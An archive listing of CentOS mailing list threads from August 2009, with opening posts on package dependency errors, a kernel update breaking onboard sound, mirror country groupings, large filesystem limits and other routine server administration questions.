Hello, I'd like to clone existing CentOS server. Can anybody recommend any working solution to achieve that ? Regards Przemyslaw Bak (przemol) -- http://przemol.blogspot.com/ ---------------------------------------------------------------------- Wygraj nawigacje GPS! 14 sztuk czeka. Sprawdz >> http://link.interia.pl/f22f3

15 19

log rotation not writing to new logs
by Dave 31 Aug '09

31 Aug '09

Hello, I've got a centos 5.3 machine that is running services http and ftp whih are the two services i've noticed this on. When log rotation happens the old logs are renamed and compressed, but new logs httpd and pure-ftpd have zero lengths. From that poing log writing is not working. I've tried shutting down rsyslog and both httpd and pure-ftpd and restarting them, this is not working. I am open to suggestions. Thanks. Dave.

2 1

gcc: fork: can not allocate memory
by Dave 31 Aug '09

31 Aug '09

Hello, The above is on a CentOS 5.3 machine, a vps actually. I started seeing it a few weeks ago when i was trying to get an ssh-key program called keychain going. It required an entry in ~/.bash_profile after that i started seeing the above error and compiles kept failing or tasks wouldn't complete. I commented out the lines that started keychain, and for measure rebooted the box. For the second time in the past 24 hours i'm seeing this error again. I've never seen it before and am open to suggestions. Thanks a lot. Dave.

1 0

centos 5.3 with dkms-nvidia-x11-drv and gnome power manager sleep
by Ryan Pugatch 30 Aug '09

30 Aug '09

Hi all, On my ThinkPad T61, I am trying to get gnome power manager's sleep function to work properly. When I bring my machine back up after sleep, I end up with just a black screen and nothing responding.. no capslock light when I hit capslock for example. I am running the latest nvidia driver from rpmforge (I'm suspecting the nvidia driver isn't playing nice). With Ubuntu I had to make a change in /usr/share/hal/fdi/information/10freedesktop/20-video-quirk-pm-el5-lenovo.fdi to get it to work. This, unfortunately, didn't help in CentOS. 'echo mem > /sys/power/state' seems to work properly - the machine actually comes back up. Whatever method G-P-M is using is not. Can I make G-P-M use that command to suspend? Or any ideas on how to make G-P-M's method work? Thanks, Ryan

1 0

Anyone know a good VMWare hosting provider?
by Sean Carolan 30 Aug '09

30 Aug '09

I've got a custom VMWare image that I need to find a host for. Anyone know of a good ISP that offers VMWare hosting packages?

2 3

how to install rrdtool, if it keeps failing?
by Rudi Ahlers 30 Aug '09

30 Aug '09

Hi all, I'm trying to install rrdtool on CentOS 5.3 x64, but it keeps failing with dependency problems: root@pluto:[~]$ yum install rrdtool* Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * freshrpms: ayo.uk3.freshrpms.net * rpmforge: ftp-stud.fht-esslingen.de Excluding Packages in global exclude list Finished Setting up Install Process Parsing package install arguments Resolving Dependencies There are unfinished transactions remaining. You mightconsider running yum-complete-transaction first to finish them. --> Running transaction check ---> Package rrdtool.x86_64 0:1.3.8-2.el5.rf set to be updated --> Processing Dependency: ruby for package: rrdtool --> Processing Dependency: perl(RRDs) for package: rrdtool --> Processing Dependency: perl(RRDp) for package: rrdtool --> Processing Dependency: xorg-x11-fonts-Type1 for package: rrdtool ---> Package rrdtool-devel.x86_64 0:1.3.8-2.el5.rf set to be updated --> Running transaction check ---> Package rrdtool.x86_64 0:1.3.8-2.el5.rf set to be updated --> Processing Dependency: ruby for package: rrdtool --> Processing Dependency: perl(RRDs) for package: rrdtool --> Processing Dependency: perl(RRDp) for package: rrdtool ---> Package xorg-x11-fonts-Type1.noarch 0:7.1-2.1.el5 set to be updated --> Finished Dependency Resolution rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: ruby is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: ruby is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: perl(RRDp) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: perl(RRDs) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: perl(RRDp) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) rrdtool-1.3.8-2.el5.rf.x86_64 from rpmforge has depsolving problems --> Missing Dependency: perl(RRDs) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) Error: Missing Dependency: perl(RRDs) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) Error: Missing Dependency: ruby is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) Error: Missing Dependency: perl(RRDp) is needed by package rrdtool-1.3.8-2.el5.rf.x86_64 (rpmforge) So, from what I gather, there's dependency problems, but shouldn't these be resolved automatically? I have googled this a bit, and it seems a lot of people end up installing a the tar ball manually - which I don't want todo. So, does anyone know how to install the RPM successful? -- Kind Regards Rudi Ahlers CEO, SoftDux Hosting Web: http://www.SoftDux.com Office: 087 805 9573 Cell: 082 554 7532

5 4

using Linux as a NAS / SAN device
by Rudi Ahlers 30 Aug '09

30 Aug '09

Hi, I'm looking at using Linux as a NAS / SAN device, and would like some input from other's who have done this before? How would it compare to commercial SAN devices, Thecus N8800SAS (http://www.thecus.com/products_over.php?cid=11&pid=177&set_language=english) or something similar to these? I would probably use hardware RAID 10, and could go with either SAS / SATA, and then probably offer iSCSI, Samba. NFS & rsync. In terms of servers hardware, well either Tyan / SuperMicro / Intel / Dell would be fine as well. But, my question is rather from a linux point of view, how would Linux compare to dedicated NAS devices, in terms of the OS managing the device? -- Kind Regards Rudi Ahlers CEO, SoftDux Hosting Web: http://www.SoftDux.com Office: 087 805 9573 Cell: 082 554 7532

6 15

Upgrading Centos 5.3 23Bit -> 64Bit
by Götz Reinicke 30 Aug '09

30 Aug '09

Hi, has anybody done an upgrade from an installed 32bit version to a 64bit? If so, how? Installing the 64bit version from scratch is an option, but I'm interested also, if an upgrade is possible. Thanks and best regards, Götz

2 1

kernel-2.6.18-128.7.1.el5.i686 update breaks AMD onboard sound
by Mike A. Harris 30 Aug '09

30 Aug '09

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The new kernel-2.6.18-128.7.1.el5.i686 kernel breaks audio support on my onboard audio on an AMD Solo motherboard. 00:07.5 Multimedia audio controller: Advanced Micro Devices [AMD] AMD-8111 AC97 Audio (rev 03) After upgrading to the new kernel from kernel-2.6.18-128.4.1.el5.i686, I quickly noticed audio not working in Flash in firefox, then after some tinkering realized audio didn't work at all, not even the mixer, although the sound card drivers were loaded. I ran system-config-soundcard and got no audio as well, it was unable to open the device. Running ogg123 from the commandline gave me an ALSA error about being unable to open a sound device before SEGV'ing. An strace revealed that /dev/snd/* was missing a device node. I rebooted into the prior kernel (kernel-2.6.18-128.4.1.el5.i686) and sound came back. The missing device node was back, along with several others that are missing in the new kernel as well. Here is the kernel rpm changelog between the working and non-working kernels: * Mon Aug 24 2009 Karanbir Singh <kbsingh(a)centos.org> [2.6.18-128.7.1.el5.centos] - - Roll in CentOS Branding * Wed Aug 19 2009 Jiri Pirko <jpirko(a)redhat.com> [2.6.18-128.7.1.el5] - - [net] prevent null pointer dereference in udp_sendmsg (Vitaly Mayatskikh) [518047 518043] {CVE-2009-2698} * Sat Aug 15 2009 Jiri Pirko <jpirko(a)redhat.com> [2.6.18-128.6.1.el5] - - [net] make sock_sendpage use kernel_sendpage (Jiri Pirko ) [517445 516955] {CVE-2009-2692} * Tue Aug 04 2009 Jiri Pirko <jpirko(a)redhat.com> [2.6.18-128.5.1.el5] - - [dlm] free socket in error exit path (David Teigland ) [515432 508829] It'd be nice to try the Red Hat kernel to see if it is a CentOS specific glitch or not, but I suspect it isn't. Can't do that easily unfortunately. Are there existing CentOS builds of the 128.5/128.6 kernels archived somewhere? I had a quick scan through Red Hat and CentOS bugzillas, and did not see anything reported about this yet. I'm still investigating the problem before filing a bug report myself, but wanted to get some feedback from other users to determine how wide the problem might be, and hopefully narrow it down. - -- Mike A. Harris http://mharris.ca | https://twitter.com/mikeaharris -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQFKmSe+4RNf2rTIeUARApzRAJ0R5CPbM9ROrPAPHL5A9O5nR3hUIwCgqXuw UJVV78sylEqZM4QjpqlP2U8= =JUf4 -----END PGP SIGNATURE-----

3 5

my fonts look horrible (centos5.3/xfce)
by Ryan Pugatch 30 Aug '09

30 Aug '09

Hi all, I can't seem to get my fonts to look decent under CentOS. I was able to make them look pretty good under Ubuntu, but for the life of me I can't make them look decent on CentOS. Screenshots: http://img199.imageshack.us/img199/8563/ss1rzo.jpg http://img199.imageshack.us/img199/7655/ss2ocf.jpg http://img196.imageshack.us/img196/6040/ss3j.jpg http://img196.imageshack.us/img196/466/uiprefs.jpg Any advice is appreciated because this sucks :) Ryan

6 18

virtual ftp users, web permissions
by Dave 30 Aug '09

30 Aug '09

Hello, I'm running CentOS 5.3. I've got an ftp server set up a pure ftpd server using virtualchroot so that sym links are followed. One user i'll call him user1 in the ftpuser/ftpgroup which is the user and group the server is running under has a symlink in his home directory pointing to the documentroot of a web site. I've got the sticky bit set on the documentroot and have permissions set so that users in the webdev group can write to this area, the pure-ftpd virtual user, which is a system user with a password in /etc/passwd, is in this group. On upload the user1 can upload to the web documentroot. However, the server is unable to display the pages. On checking the status of the uploaded file i see that permissions are not sticky instead of being owned and in a group of apache:webdev which is what they should be permissions are ftpuser:ftpgroup with permission bits 600 which means there's no way the web server will see these files. If i haven't lost anyone options for simplifying this would be appreciated, and suggestions as what i can try to get the permissions to be able to be set up in the docroot. Thanks. Dave.

1 0

Need httpd / apache RPM > 2.2.3 for 5.3
by Alan McKay 30 Aug '09

30 Aug '09

Hey folks, It looks to me like the httpd on CentOS is stuck at 2.2.2 - what's up with that? Even after a yum upgrade. I need 2.2.10 or greater, and would prefer to get it via yum or at very last an RPM if at all possible. But I cannot even find an RPM out there. For some reason both EPEL and Dag Wieers do not even seem to have an httpd RPM for RHEL5 Any idea where to look? Why are we stuck at 2.2.3 which was a 2006 release? thanks, -Alan -- “Don't eat anything you've ever seen advertised on TV” - Michael Pollan, author of "In Defense of Food"

9 14

how to setup the ISPConfig
by Michael Wright 29 Aug '09

29 Aug '09

hi guys i'm trying to setup the isp config and this is what i am getting in the terrimal # Marvell Technology Group Ltd. 88E8053 PCI-E Gigabit Ethernet Controller DEVICE=eth0 BOOTPROTO=dhcp HWADDR=00:16:E6:80:6D:5F ONBOOT=yes "/etc/sysconfig/network-scripts/ifcfg-eth0:0" 5L, 137C where it should look like this # Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]DEVICE=eth0:0BOOTPROTO=staticBROADCAST=192.168.0.255IPADDR=192.168.0.101NETMASK=255.255.255.0NETWORK=192.168.0.0ONBOOT=yesRegardsMike

1 0

upcoming DRBD updates in CentOS Extras for CentOS 4 and 5
by Johnny Hughes 29 Aug '09

29 Aug '09

Ralph Angenendt, Fabian Arrotin, Akemi Yagi and I have been working on new DRBD packages for CentOS Extras. We have some packages that have been tested in the testing repository. LinBit has discontinued their 8.2 tree, so drbd83 will replace drbd82 in both CentOS 4 and CentOS 5 extras. DRBD 0.7.25 will remain in CentOS 4, however it gets no upstream support and I would recommend you upgrade to drbd83 after we release the upgrades if you are using drbd 0.7.25. DRBD 8.3.2 will also be released for CentOS 4, replacing the current drbd82-8.2.6. DRBD 8.0.x will remain part of the CentOS 5 extras and will be upgraded to 8.0.16. DRBD 8.3.2 will also be released for CentOS 5, replacing the current drbd82-8.2.6. I have done a post with a basic outline on how to do these upgrades: http://centosnow.blogspot.com/2009/08/drbd-packages-in-centos-4-and-centos-… I expect this release will happen sometime next week, before September 5th. In fact, the file will be on the centos mirrors, just the metadata will not be run for a couple days, so you can get the RPMs if you want from there. This is a heads up so you are ready and expecting the update and have had a few days to plan. Thanks, Johnny Hughes

1 0

CentOS Mirrors and Adjacent country groups
by Johnny Hughes 29 Aug '09

29 Aug '09

CentOS has developed our own mirrorlist and isolist applications and inside this application, we have some countries that we shift to other countries and we also have some country groups defined. The purpose of these groupings is to have adjacent countries grouped together for applications like fastest mirror and others. I will put here what we currently have and ask the community to vet the list for us to make it better. Our major (large) groups are: us - North eu - Europe ap - Asia Pacific oc - Oceania af - Africa sa - South America c1 - (Use High Bandwidth, don't know location) Here is our current countries "with mirrors" to large group list (1st variable is CC, 2nd is Group Code): ar => 'sa', at => 'eu', au => 'oc', ba => 'eu', be => 'eu', bg => 'eu', br => 'sa', c1 => 'c1', c2 => 'eu', c3 => 'ap', c4 => 'us', ca => 'us', ch => 'eu', cl => 'sa', cn => 'ap', cr => 'sa', cz => 'eu', de => 'eu', dk => 'eu', ee => 'eu', es => 'eu', fi => 'eu', fr => 'eu', gb => 'eu', ge => 'eu', gr => 'eu', hk => 'ap', hu => 'eu', id => 'oc', ie => 'eu', il => 'af', in => 'ap', is => 'eu', it => 'eu', jp => 'ap', kr => 'ap', kz => 'ap', lt => 'eu', lu => 'eu', md => 'eu', my => 'oc', nl => 'eu', no => 'eu', nz => 'oc', ph => 'ap', pl => 'eu', pr => 'us', pt => 'eu', ro => 'eu', ru => 'ap', se => 'eu', sg => 'ap', si => 'eu', sk => 'eu', th => 'ap', tr => 'eu', tw => 'ap', ua => 'eu', us => 'us', vn => 'ap', za => 'af', ===================================================== We have created some smaller groups for each mirror country: ar => 'br-cl-cr-pr-us', at => 'de-ch-lu-fr-cz-sk-hu-it', au => 'nz-sg-tw-kr-jp', ba => 'it-hu-bg-si-ro', be => 'fr-nl-de-lu-gb', bg => 'gr-ro-tr-it-md', br => 'pr-cl-ar-cr-us', c1 => 'c1', c2 => 'c2', c3 => 'c3', ca => 'us-is', ch => 'de-nl-be-fr', cl => 'pr-br-ar-cr-us', cn => 'tw-kr-sg-jp-ru', cr => 'br-cl-ar-pr-us', cz => 'pl-sk-de-at', de => 'be-ch-fr-nl-dk-gb', dk => 'de-se-nl-fi-no', ee => 'fi-ru-lt-pl-se-no', es => 'pt-fr-de-gb', fi => 'se-dk-no-de-nl', fr => 'de-nl-ch-be-es', gb => 'ie-nl-de-fr', ge => 'tr-eg', gr => 'tr-bg-it-ro', hk => 'cn-tw-ph-vn-th', hu => 'at-ro-si-sk-ba', id => 'sg-my-ph-au-vn', ie => 'gb-nl-de', il => 'it-tr-gr-bg', in => 'in-bd-vn-hk-sg-cn', is => 'gb-no-se-ca', it => 'de-ch-fr-lu-at-si', jp => 'sg-cn-kr-tw-ru', kr => 'jp-cn-tw-sg-ru', kz => 'ru-tr', lt => 'pl-ro-no-ee-de', lu => 'de-nl-be-fr', md => 'ro-ua-bg-si', my => 'id-sg-au-th-vn', nl => 'de-dk-gb-be-fr', no => 'se-fi-dk-de-nl', nz => 'au-sg-jp-tw', ph => 'vn-my-sg-id-au', pl => 'cz-ua-de-se-si', pr => 'cl-br-us-cr', pt => 'es-fr-de-gb', ro => 'at-de', ru => 'fi-cn-kr-jp', se => 'no-fi-dk-de-nl', sg => 'my-id-ph-au-th', si => 'it-md-at-ba-hu', sk => 'cz-hu-pl-md-at', th => 'cn-vn-my-sg-ph-hk', tr => 'gr-it-de-bg-ro', tw => 'cn-kr-sg-jp', ua => 'pl-ro-cz-de-md', us => '', vn => 'ph-sg-my-hk-cn', za => 'il-br-tr-es-in', This is our list of adjacent countries, so if you are in PH, you will first get mirrors in conutry (PH), then from the small group (VN, CN, TW ), THEN from the large group (AP), THEN back filled from C1. Or if you are in ZA, you would get mirrors from the country (ZA), then from small group (IL, BR, TR, ES, IN), then from large group (AF), THEN backfill from C1. ===================================================== We also have a cross reference having one country masquerade as another for grouping purposes (countries with mirrors are on the right) ... here is that list: A2 => "C1", AD => "ES", AE => "IL", AF => "IN", AG => "US", AI => "US", AL => "GR", AM => "TR", AN => "US", AO => "ZA", AP => "C3", AQ => "C1", AR => "AR", AS => "AU", AT => "AT", AU => "AU", AW => "CR", AZ => "TR", BA => "BA", BB => "BR", BD => "SG", BE => "BE", BF => "ZA", BG => "BG", BH => "IL", BI => "ZA", BJ => "ZA", BM => "US", BN => "IL", BO => "CL", BR => "BR", BS => "US", BT => "CN", BV => "ZA", BW => "ZA", BY => "DE", BZ => "CR", CA => "CA", CD => "ZA", CF => "ZA", CG => "ZA", CH => "CH", CI => "ZA", CK => "NZ", CL => "CL", CM => "ZA", CN => "CN", CO => "BR", CR => "CR", CS => "SI", CU => "PR", CV => "ES", CY => "GR", CZ => "CZ", DE => "DE", DJ => "IL", DK => "DK", DM => "PR", DO => "PR", DZ => "IL", EC => "BR", EE => "EE", EG => "IL", ER => "IL", ES => "ES", ET => "IL", EU => "C2", FI => "FI", FJ => "AU", FK => "AR", FM => "PH", FO => "NO", FR => "FR", GA => "ZA", GB => "GB", GD => "PR", GE => "GE", GF => "BR", GH => "ZA", GI => "ES", GL => "SE", GM => "ZA", GN => "ZA", GP => "PR", GQ => "ZA", GR => "GR", GT => "CR", GU => "SG", GW => "ZA", GY => "BR", HK => "HK", HM => "AU", HN => "CR", HR => "SI", HT => "PR", HU => "HU", ID => "ID", IE => "IE", IL => "IL", IN => "IN", IO => "SG", IQ => "TR", IR => "TR", IS => "IS", IT => "IT", JM => "PR", JO => "IL", JP => "JP", KE => "ZA", KG => "CN", KH => "TH", KI => "C1", KM => "ZA", KN => "PR", KP => "KR", KR => "KR", KW => "IL", KY => "PR", KZ => "KZ", LA => "CN", LB => "IL", LC => "PR", LI => "CH", LK => "IN", LR => "ZA", LS => "ZA", LT => "LT", LU => "LU", LV => "RO", LY => "IT", MA => "ES", MC => "FR", MD => "MD", MG => "ZA", MH => "AU", MK => "SI", ML => "ES", MM => "IN", MN => "ZA", MO => "HK", MP => "PH", MQ => "PR", MR => "ES", MS => "PR", MT => "IT", MU => "ZA", MV => "IN", MW => "ZA", MX => "US", MY => "MY", MZ => "ZA", NA => "ZA", NC => "AU", NE => "ZA", NF => "AU", NG => "ZA", NI => "CR", NL => "NL", NO => "NO", NP => "IN", NR => "AU", NU => "AU", NZ => "NZ", OM => "IN", PA => "US", PE => "CL", PF => "AU", PG => "AU", PH => "PH", PK => "IN", PL => "PL", PR => "PR", PS => "IL", PT => "PT", PW => "PH", PY => "CL", QA => "IL", RE => "ZA", RO => "RO", RU => "RU", RW => "ZA", SA => "IL", SB => "AU", SC => "IN", SD => "IL", SE => "SE", SG => "SG", SI => "SI", SK => "SK", SL => "ZA", SM => "IT", SN => "ZA", SO => "ZA", SR => "BR", ST => "ZA", SV => "US", SY => "IL", SZ => "ZA", TC => "PR", TD => "ZA", TF => "ZA", TG => "ZA", TH => "TH", TJ => "KZ", TK => "AU", TM => "KZ", TN => "IT", TO => "AU", TR => "TR", TT => "BR", TV => "AU", TW => "TW", TZ => "ZA", UA => "UA", UG => "ZA", UM => "US", US => "US", UY => "CL", UZ => "KZ", VA => "IT", VC => "PR", VE => "CL", VG => "PR", VI => "PR", VN => "VN", VU => "AU", WF => "AU", WS => "AU", YE => "IL", YT => "ZA", ZA => "ZA", ZM => "ZA", ZW => "ZA", This is basically a cross reference, the countries on the right is where we have mirrors, the ones on the left are the countries as returned from an IP address. ======================================================= If anything looks bad, especially for people who are in the countries and can tell us which ones are logically near (via the network) and not necessarily physically near, please reply to this thread and lets see if we can make the mirror network better. Thanks, Johnny Hughes

3 8

favicon.ico and robots.txt
by Dave 29 Aug '09

29 Aug '09

Hello, I'm running an apache 2.2 webserver on centos 5.3. I'm seeing frequent requests for robots.txt and favicon.ico from the logs those files should be in the document root area. What are these files, is this something the rpm installs, or do i have to retrieve or generate them? Thanks. Dave.

6 5

RPM complaining it needs .so files, while these are actually present
by RedShift 29 Aug '09

29 Aug '09

Hello When I try to install a package I built myself (java-1.6.0-sun-1.6.0.16-1jpp.x86_64.rpm - took the java-1.6.0 srpm from jpackage and bumped the version number), it complains: Error: Missing Dependency: libodbcinst.so()(64bit) is needed by package java-1.6.0-sun-1.6.0.16-1jpp.x86_64 (java-1.6.0-sun-1.6.0.16-1jpp.x86_64.rpm) Error: Missing Dependency: libodbc.so()(64bit) is needed by package java-1.6.0-sun-1.6.0.16-1jpp.x86_64 (java-1.6.0-sun-1.6.0.16-1jpp.x86_64.rpm) However, I definately have these files: [root@centos5 x86_64]# ls -l /usr/lib64/libodbcinst* -rw-r--r-- 1 root root 270528 Jan 7 2007 /usr/lib64/libodbcinst.a -rw-r--r-- 1 root root 1038232 Jan 7 2007 /usr/lib64/libodbcinstQ.a lrwxrwxrwx 1 root root 20 Aug 29 20:59 /usr/lib64/libodbcinst.so -> libodbcinst.so.1.0.0 lrwxrwxrwx 1 root root 20 Aug 29 20:58 /usr/lib64/libodbcinst.so.1 -> libodbcinst.so.1.0.0 -rwxr-xr-x 1 root root 78088 Jan 7 2007 /usr/lib64/libodbcinst.so.1.0.0 [root@centos5 x86_64]# (I left out libodbc*, I have these files as well but it would be too much and useless to post here) Why isn't the dependency management realizing I have the files needed? Thanks, Best regards, Glenn

2 1

Run GNU screen as a normal user
by Matt Arnilo S. Baluyos (Mailing Lists) 29 Aug '09

29 Aug '09

Hi guys, I am currently looking for a workaround with regards to running screen as a normal user. When I try to run it, I get the following: [mbaluyos@mla torrents]$ screen Cannot open your terminal '/dev/pts/0' - please check. To get around this, I had to chmod 777 /dev/pts/0. It's an insecure hack so I'm looking for the right way of doing it. Would anyone be able to guide me as to how I can run screen the way normal users should run it? This behavior just seemed to happen with CentOS 5.3. I remember not running into such issues on an older CentOS/screen version. Thanks in advance, Matt -- Stand before it and there is no beginning. Follow it and there is no end. Stay with the ancient Tao, Move with the present.

1 1

CentOS-announce Digest, Vol 54, Issue 13
by centos-announce-request＠centos.org 29 Aug '09

29 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1233 Important CentOS 3 i386 kernel - security update (Tru Huynh) 2. CESA-2009:1233 Important CentOS 3 x86_64 kernel - security update (Tru Huynh) ---------------------------------------------------------------------- Message: 1 Date: Sat, 29 Aug 2009 00:30:59 +0200 From: Tru Huynh <tru(a)centos.org> Subject: [CentOS-announce] CESA-2009:1233 Important CentOS 3 i386 kernel - security update To: centos-announce(a)centos.org Message-ID: <20090828223059.GC6132(a)sillage.bis.pasteur.fr> Content-Type: text/plain; charset="us-ascii" CentOS Errata and Security Advisory CESA-2009:1233 kernel security update for CentOS 3 i386: https://rhn.redhat.com/errata/RHSA-2009-1233.html The following updated file has been uploaded and is currently syncing to the mirrors: i386: updates/i386/RPMS/kernel-2.4.21-60.EL.i586.rpm updates/i386/RPMS/kernel-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-BOOT-2.4.21-60.EL.i386.rpm updates/i386/RPMS/kernel-doc-2.4.21-60.EL.i386.rpm updates/i386/RPMS/kernel-hugemem-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-hugemem-unsupported-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-smp-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-smp-unsupported-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-source-2.4.21-60.EL.i386.rpm updates/i386/RPMS/kernel-unsupported-2.4.21-60.EL.i586.rpm updates/i386/RPMS/kernel-unsupported-2.4.21-60.EL.i686.rpm updates/i386/RPMS/kernel-2.4.21-60.EL.athlon.rpm updates/i386/RPMS/kernel-smp-2.4.21-60.EL.athlon.rpm updates/i386/RPMS/kernel-smp-unsupported-2.4.21-60.EL.athlon.rpm updates/i386/RPMS/kernel-unsupported-2.4.21-60.EL.athlon.rpm source: updates/SRPMS/kernel-2.4.21-60.EL.src.rpm You may update your CentOS-3 i386 installations by running the command: yum update kernel Tru -- Tru Huynh (mirrors, CentOS-3 i386/x86_64 Package Maintenance) http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xBEFA581B

1 0

Setting up large (12.5 TB) filesystem howto?
by Götz Reinicke - IT-Koordinator 28 Aug '09

28 Aug '09

Hi, I'm trying to set up an iscsi 12.5 TB storage for some data backup. Doing so, I had some difficulties to find the right tool, maybe it's also a question of the system settings... The server is a 32Bit CentOS 5.3 with the recent updates. Ths iscsi connection can be establised. fdisk and parted fail to create any information on the device or fail completely. using the lvm tools (pvcreate, vgcreate, lvcreate), I could finaly create a logical volume: lvdisplay /dev/VolGroup02/lvol0 --- Logical volume --- LV Name /dev/VolGroup02/lvol0 VG Name VolGroup02 LV UUID h7T6tD-JZw2-UEdb-q1ml-BDqp-9E0u-mAop6x LV Write Access read/write LV Status available # open 0 LV Size 12,73 TB Current LE 3337487 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:4 But, I can't create a filesystem on it: mkfs.ext3 -m 2 -j -O dir_index -v -b 4096 -L iscsi2lvol0 /dev/mapper/VolGroup02-lvol0 mke2fs 1.39 (29-May-2006) mkfs.ext3: Filesystem too large. No more than 2**31-1 blocks (8TB using a blocksize of 4k) are currently supported. The limits information provided by red hat say, that RH EL 5.1 supports 16 TB filesystems: http://www.redhat.com/rhel/compare/ -> Maximum filesystem size (Ext3): 16TB in 5.1 Using a block size of 8192 gives a warning, that this size is to large for that system. So my question: What is my missunderstanding or what's wrong with my system? Where are the real limits? Do I have to switch the OS to 64 Bit? Setting up large Filesystems isn't my staff of life :-) Thanks for amy how to or help of any kind - Best regards, Götz -- Götz Reinicke IT-Koordinator Tel. +49 7141 969 420 Fax +49 7141 969 55 420 E-Mail goetz.reinicke(a)filmakademie.de Filmakademie Baden-Württemberg GmbH Akademiehof 10 71638 Ludwigsburg www.filmakademie.de Eintragung Amtsgericht Stuttgart HRB 205016 Vorsitzende des Aufsichtsrats: Prof. Dr. Claudia Hübner Staatsrätin für Demographischen Wandel und für Senioren im Staatsministerium Geschäftsführer: Prof. Thomas Schadt

9 11

Centos 5.4
by Alan McKay 28 Aug '09

28 Aug '09

I just saw in another list email that RHEL 5.4 is due out any day now. How long does it then take for the cooresponding CentOS release to come out? I'm in the process of making a new master server image based on 5.3. Though I suppose since I'm using Kickstart/Anaconda, it should be pretty easy to change it from 5.3 to 5.4 -- “Don't eat anything you've ever seen advertised on TV” - Michael Pollan, author of "In Defense of Food"

2 1

Strange connectivity problem from linux.
by Tharun Kumar Allu 28 Aug '09

28 Aug '09

Hi I have been facing a strange connectivity problem from CentOS and Fedora boxes. When I telnet to $ telnet adp.eease.com 443 it works fine some times and every 5-10 tries or so it says connection refused. And this does not happen from my windows box. Can anyone from this list try this on their linux installation and see if they get the same behaviour? Thanks Tharun

5 7

"gpg --verify-files" fails on some files, works on others
by Sean Carolan 28 Aug '09

28 Aug '09

I have a very strange situation where the gpg command will fail to verify whether there is valid PGP data in some files. Decrypting these files works flawlessly. Here is an example: [root@server autoimport]# gpg -vv --verify-files 01UserEnumswValues.txt.asc.txt gpg: armor: BEGIN PGP MESSAGE gpg: armor header: Version: GnuPG v1.4.7 (MingW32) :pubkey enc packet: version 3, algo 16, keyid F0682D87CF4ED243 data: [1022 bits] data: [1024 bits] [root@server autoimport]# gpg -vv --verify-files 03users.txt.asc.txt gpg: armor: BEGIN PGP MESSAGE gpg: armor header: Version: GnuPG v1.4.7 (MingW32) :pubkey enc packet: version 3, algo 16, keyid F0682D87CF4ED243 data: [1021 bits] data: [1023 bits] gpg: no valid OpenPGP data found. Note that the first file is correctly identified as OpenPGP encrypted data, and has exit status of 0. The second file gives the error "no valid OpenPGP data found", even though I'm able to decrypt the file with no problems. Both these files were encrypted with the same key, and both contain plain text CSV data. Any ideas why this is failing on some files and not others?

1 0

[off-topic] Question about csh.
by Marcelo M. Garcia 28 Aug '09

28 Aug '09

Hi I received this request from a user and could not find the solution. I would like to know if someone already solved this: "At the command prompt I used to be able to type the first letter of a line command and then by using the up arrow key, scroll through all of the line commands, that begin with that letter, that I had previously executed." It's a machine with CentOS-5.3, x86_64, and tcsh-6.14-14.el5, but his shell is 'csh'. Thanks Marcelo

2 1

bind
by chloe K 28 Aug '09

28 Aug '09

Hi I already stop the named and killall bind process. how can I clear the files under named/chroot/proc/ folder as those files are restricted me for tar backup? /var/named/chroot/proc/sys/net/ipv6/conf/lo/accept_ra_defrtr /var/named/chroot/proc/sys/net/ipv6/conf/lo/max_addresses /var/named/chroot/proc/sys/net/ipv6/conf/lo/max_desync_factor /var/named/chroot/proc/sys/net/ipv6/conf/lo/regen_max_retry /var/named/chroot/proc/sys/net/ipv6/conf/lo/temp_prefered_lft Thank you __________________________________________________________________ The new Internet Explorer® 8 - Faster, safer, easier. Optimized for Yahoo! Get it Now for Free! at http://downloads.yahoo.com/ca/internetexplorer/

2 1

mysql-server-5.0.82sp1-1.el4_8 upgrade
by David Hrbáč 28 Aug '09

28 Aug '09

Hi, There has been update to mysql within the centosplus repository on 26th August. Please be aware, that you might need to upgrade tables after the server upgrade. 1) run CHECK TABLE .... 2) if the response is 'Table upgrade required. Please do "REPAIR TABLE `tablename`" to fix it!' 3) do run :o) REPAIR TABLE 4) good point is again CHECK TABLE 4) good point is OPTIMIZE TABLE Regards, David Hrbáč

3 2

Help Slim Down Centos Install
by Chris Andrews 28 Aug '09

28 Aug '09

Hello Everyone, I was wondering does anyone know how I can slim down Centos install, what I mean by slim down is whenever I install Centos with nothing but xen. I have all type stuff that is not needed like bluetooth and etc. This is a server, so I know that bluetooth is not need but I don't have any other menus to remove software when install from cd. So what would be the best way to slim this server down to only need the bare to run xen?

4 3

Re: [CentOS] my fonts look horrible (centos5.3/xfce)
by Radu-Cristian FOTESCU 28 Aug '09

28 Aug '09

